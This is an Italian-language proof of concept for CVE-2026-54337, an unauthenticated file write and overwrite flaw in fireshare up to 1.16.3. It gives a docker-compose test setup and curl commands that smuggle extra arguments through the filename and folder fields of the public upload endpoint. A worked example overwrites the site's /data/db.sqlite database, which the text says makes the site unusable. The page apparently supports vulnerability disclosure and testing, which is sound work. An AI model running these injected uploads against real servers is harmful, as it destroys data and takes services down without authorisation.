
CVE-2026-54337 - PoC per Scrittura/Sovrascrittura di File non autenticata per fireshare <= 1.16.3
CVE-2026-54337 - Scrittura/Sovrascrittura di file non autenticata in fireshare <= 1.16.3 PoC
Per maggiori informazioni, fare riferimento a questo avviso di Github
docker-compose.yml per testareservices:
fireshare:
container_name: fireshare-temp
image: shaneisrael/fireshare:1.6.13-lite
ports:
- "8082:80"
# Ephemeral storage (discarded when container stops)
tmpfs:
- /data
- /processed
- /videos
- /images
environment:
- ADMIN_USERNAME=admin
- ADMIN_PASSWORD=admin123
- SECRET_KEY=fireshare-super-secret-random-key
- DOMAIN=
- PUID=1000
- PGID=1000
restart: unless-stopped
.mp4, per esempio$ echo 123 > test.mp4
$ curl -s -w "HTTP %{http_code}\n" \
-F "file=@<FILEPATH>;filename=<FILE TO OVERWRITE/WRITE> -select_streams v.mp4" \
-F "folder=testfolder -o <DIRECTORY TO PUT THE FILE>" \
http://<URL>/api/upload/public
Per esempio, per sovrascrivere /data/db.sqlite modificherai il comando come segue
$ curl -s -w "HTTP %{http_code}\n" \
-F "file=@<FILEPATH>;filename=db.sqlite -select_streams v.mp4" \
-F "folder=testfolder -o data" \
http://<URL>/api/upload/public
nginx, che ha accesso solo a /data, /processed, /images e /videos, quindi puoi solo scrivere/sovrascrivere lì/data/db.sqlite ha il maggiore impatto poiché renderà il sito web inutilizzabile